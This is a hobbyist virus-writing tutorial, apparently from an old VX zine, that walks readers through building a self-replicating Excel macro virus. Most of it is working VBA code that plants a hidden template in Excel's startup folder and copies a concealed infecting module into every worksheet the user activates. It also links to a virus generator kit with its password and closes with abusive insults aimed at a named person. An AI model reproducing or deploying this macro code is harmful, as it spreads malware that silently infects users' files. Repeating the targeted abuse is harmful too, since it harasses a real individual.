Excel Tutorial
By foxz@usa.ne t

>                        >> The Basic of Excel Virus Writing <<

>         Introduction:
>             This first time my TUT on VX zine (SLAM zine), so don't so hard :P

>             Well, as U already know that Excel file(s) can  infected  by virus
>         U  may  ask  who  to  make it?, what toolz  need  to make Excel virus?
>         Excel virus like Word virus, Excel  have macro, Micro$oft like to call
>         VisualBasicAplication (VBA). Excel Macro is a little program  for help
>         Excel user work "fast and accurate". If User understand Basic they can
>         make his own macro  for help him self to finish his work ( ussualy the
>         Module containt some formula ), Like Us Macro Coding make own Macro to
>         Infect User data :)

>             The 1st Excel Virus  known as DMV created by McNamara, he just try
>         to prove that the Macro  can spread to user WorkSheet, and what U call
>         if a little progy can spread? Yes! A VIRUS!. Now we learn about how to
>         make Excel Virus.

>         Toolz that needed:
>         - Brain (must have)
>         - Computer (recommended)
>         - Excel Prog (recommended)
>         - Cofee and cigarettes (optional)
>         - Paper and pencil (optional)
>         - Metallica (optional)

>         Something U Need to Know:
>         - Module:
>           All Code that we create put on Module
>         - Global/Template:
>           The global Template for Ur Virus, place on EXCEL/XLSTART directori
>         - Progy:
>           Small code
>         - WorkBook/WorkSheet
>           Self explaining

>         Infecting Formula:
>             When making virus U need  to know "the engine" for infecting, bcoz
>         if Ur Progy doesn't  have infecting  formula Ur progy can spread!, and
>         Ur progy can't call a virus! and it's become a trojan.
>             Classic infection engine for Excel look like this :

>         -Begin-------- checking rutin (Optional to Use) -------------
>         --------------- Use for checking Global/Templates -----------

>         Sub  Auto_Open()
>         If cek_global() Then 'check on global! (Optional to use)
>             GoTo FuckSheet:  'found?
>         Else
>             infectglobal     'Goto to Infecting Routine
>         End If
>             FuckSheet:
>             Application.OnSheetActivate = "XXX.XLM!Fuck" 'XXX.XLM is Template
>                                                          'for Ur Virus
>                                                          'Fuck is the MacroName
>                                                          'for infecting
>         bye:
>         End Sub

>         Function cek_global() As Boolean 'Yes/No (Flase/True)
>          cek_global = False 'Set False First
>          For x = 1 To Application.Workbooks.Count
>            If Application.Workbooks(x).Name = "XXX.XLM" Then
>               For y = 1 To Application.Workbooks("XXX.XLM").Modules.Count
>                If Application.Workbooks("XXX.XLM").Modules(y).Name = "YYYYY" Then
>                   cek_global = True
>                   'YYYYY is the module Name for Ur Code
>                End If
>               Next y
>             End If
>          Next x
>         End Function

>         -End-------- checking rutin (Optional to Use) -------------

>         -Begin------ The Brain 0f Ur  Virus is Here ---------------

>         Function infectglobal()
>          Activebook = ActiveWorkbook.Name 'Get Active Workbook/WorkSheet
>          Workbooks(activebook).SaveCopyAs Application.StartupPath + "\XXX.XLM"
>          'Make New Template (XXX.XLM) on Excel StarUp Directori (XLSTART)
>          Workbooks.Open (Application.StartupPath + "\XXX.XLM")
>          Windows("XXX.XLM").Visible = False   'Hide Dont let User See our move
>          Application.Workbooks("XXX.XLM").Save   'Save it!
>         End Function

>         Sub Fuck()
>          oactivebook = ActiveWorkbook.Name
>          If inFuckIt() Then 'Check WorkSheet are they Infected??
>             GoTo bye2 'If Yes goto Bye2
>          Else 'If no ..... let`s doit!!
>          End If

>          Application.ScreenUpdating = False 'Hide from User
>          Application.Windows("XXX.XLM").Visible = True
>          Workbooks("XXX.XLM").Activate  'Activate XXX.XLM/Global/Template
>          Sheets("YYYYY").Visible = True 'Activate/Open the Module Name
>          Workbooks("XXX.XLM").Sheets("YYYYY").Copy Before:=Workbooks(oactivebook).Sheets(1)
>          'Copy Module from template to WorkSheet!
>          Workbooks(oactivebook).Sheets("YYYY").Visible = False
>          'Hide Sheet !! on file
>          Workbooks("XXX.XLM").Sheets("YYYYY").Visible = False
>          'Hide Sheet on Global/Template
>          Windows("XXX.XLM").Visible = False
>          'Hide GLobal/Template

>         bye2:
>          Close
>         End Sub

>         -End-------- The Brain 0f Ur  Virus is Here ---------------

>         -Begin-------- checking rutin (Optional to Use) -------------
>         --------------- Use for checking WorkSheet  -----------------

>         Function inFuckIt() As Boolean 'Yes/No (False/True)
>          activebook = ActiveWorkbook.Name 'Use Active WorkSheet
>          inFuckIt = False 'set false first
>          For y = 1 To Application.Workbooks(activebook).Modules.Count
>             If Application.Workbooks(activebook).Modules(y).Name = "YYYYY" Then
>                inFuckIt = True
>             End If
>          Next y
>         End Function

>         -End-------- checking rutin (Optional to Use) -------------

>         If U understand  what the hell is that U already know the  basic how to
>         make Excel Virus, if  don't or U too  Lazy to coding I have a solution,
>         just Download N.E.G (NoMercyExcelGenerator) On NoMercyVirusTeam page :

>         http://www.focus-asia.com/home/NoMercyVirusTeam/Neg.html
>         The damn password is #virus, and U can add/remove Ur own code

>         Greeting infect to :
>             -All SLAM pplz     : VDaemon, Aurodreph, Njoker, RAiD and other
>             -All NoMercy Pplz  : CM, LC, SH, SG
>             -My Best Friend    : Cicatrix, VirusBuster, DarkMan, Aleviru, Avgur,
>                                  Slumdung, Pyro, DarkChasm, B0z0
>             -All Pplz on #virus: Marc, Paw/FS, Yosha/FS, IndianOwl, SpoOky, Dump
>             -All Who fill NoMercyGuestBook
>             -All Slovak VX Pplz "Slovak Rulz!!"
>             -All Indonesian VX : Bengcu, MHK, Anak SMU, Ndeklamber, Victor W,
>                                  CristianZ, Prasetyo WD (Yogya rulz)

>         Fuck infect to :
>             -Anton Reinhard Pardede also know as Phardera
>              "Fuck U fucking Lamer!!"

>                     "More Pplz know Ur ability, more enemy U got"